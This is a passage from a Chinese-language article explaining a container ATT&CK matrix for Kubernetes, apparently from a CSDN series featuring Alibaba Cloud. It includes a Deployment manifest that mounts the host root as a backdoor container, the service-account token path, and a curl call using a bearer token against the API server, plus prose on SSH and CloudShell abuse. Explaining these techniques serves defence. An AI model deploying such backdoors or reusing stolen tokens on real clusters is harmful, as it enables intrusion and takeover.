CSDN云上容器 ATT&CK 矩阵详解,阿里云助力企业容器化安全落地( 三 )

2.3 通过K8s控制器部署后门容器
Kubernetes中运行了一系列控制器(Controllers)来确保集群的当前状态与期望状态保持一致 。 例如 , ReplicaSet控制器负责维护集群中运行的Pod数量;Node控制器负责监控节点的状态 , 并在节点出现故障时及时做出响应 。
攻击者在拥有controllers权限情况下可以通过ReplicaSet/DaemonSet/Deplyment创建并维持后门容器 。
示例:攻击者通过controllers攻击:
xy@x-8 ~/D/test> cat nginx-deploy.yamlapiVersion: apps/v1kind: Deploymentmetadata: name: nginx-deployment labels: app: nginx-testspec: replicas: 1 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - image: nginx name: container volumeMounts: - mountPath: /mnt name: test-volume volumes: - name: test-volume hostPath: path: /xy@x-8 ~/D/test> kubectl apply -f nginx-deploy.yamldeployment.apps/nginx-deployment createdxy@x-8 ~/D/test> kubectl get podsNAME READY STATUS RESTARTS AGEapp-1-wp-0 1/1 Running 0 183dapp-1-wp-11/1 Running 0 183dmyapp 1/1 Running 0 12dmyappnew 1/1 Running 0 38mnginx-deployment-b676778d6-lcz4p 1/1 Running 0 55s2.4 利用Service Account连接API Server执行指令
Kubernetes区分用户和服务(Service Account)两种账户 , 其中用户账户便于管理员与集群交互 , 服务账号用于Pod进程调用Kubernetes API或其他外部服务 。
K8s pod中默认携带服务账户的访问凭证 , 如果被入侵的pod存在高权限的用户 , 则容器中可以直接通过service account向K8s下发指令 。
示例:service account在容器内部的默认路径:
cd /var/run/secrets/kubernetes.io/serviceaccount示例:带凭证访问API server的方式:
curl -voa -s https://192.168.0.234:6443/version# 以下命令相当于 kubectl get nocurl -s https://192.168.0.234:6443/api/v1/nodes?watch --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tOGprZmQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2DydmljZS1hY2NvdW50LnVpZCI6Ijg4Y2ZmNmYzLWY0NzktMTFlOS1iZmY1LTJlYzU3MmZlMWRjOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.OU740qNcSf0Z__vAO1XJWUw9fvNNI2e4LxHypkpzREmnqrK9UZ-rrp9tG8Vxbc65FlPFj9efdpfWYExxjDDQwQTi-5Afmk4EA6EH-4vEs4V1r4gb0za8cyPVSAjzmEh7uIMgQHVo7y32V_BqUd8cmBoTdgnTY8Nx2QvMClvoYvEWvDKhbMnQjWH1x5Z6jK0iNg7btlK_WXnz8-yU2a0-jgoZFZ8D_qX16mZJ_ZoxEwPNTeNR8pP1l3ebZGVqBQA1PIFVG4HOlYomZya_DWGleMRYpulnECtBOTYyswzCwN8qJUVsdv6yWH1blWHKzYrkcoDmp2r6QhekaG1KFoX_YA" --cacert ca.crt2.5 带有SSH服务的容器
含有SSH服务的容器暴露了新的攻击面 , 由于暴力破解或者登录凭证泄露 , 攻击者可以进入到容器内部执行指令进行恶意操作 。 这种情况多见于自建容器或K8s环境(一些运维人员将容器当做VM使用) 。 此外当攻击者逃逸到node节点时可以通过添加账号或写入/.ssh/authorized_keys等方式利用SSH下发后续恶意指令 。
2.6 通过云厂商CloudShell下发指令
针对VM和容器服务的管理 , 云服务商往往会提供沙箱化的便捷管理工具 , 在云账号凭证泄露的情况下 , 攻击者可以通过云厂商提供的API接管集群 。 此外云厂商沙箱本身的安全问题也会影响到用户集群安全 。